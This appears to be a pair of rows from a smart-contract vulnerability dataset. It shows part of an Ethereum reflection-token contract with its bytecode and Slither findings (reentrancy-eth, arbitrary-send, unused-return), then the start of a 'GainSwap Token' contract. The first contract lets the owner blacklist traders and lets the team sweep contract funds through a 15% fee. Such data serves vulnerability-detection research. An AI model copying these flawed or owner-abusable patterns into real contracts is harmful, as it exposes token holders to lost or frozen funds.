block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601681526020017f456c6f6e4d75736b20426c65737320416d657269636100000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f20454c4f4e424c45535355532000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208307cd427b33308d5ba61d3584066aab9bde1e027fec71164af137cb05e8705764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 811 |
0x92368144ec8748ec69405839d4eab74729284047 | // 'GainSwap Token' token contract
// This code was made By Ali , Enjoy the trip to the moon!
//
// Symbol : GainSwap
// Name : GAIN
// Total supply: 30000
// Decimals : 18
//
// Enjoy.
//
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
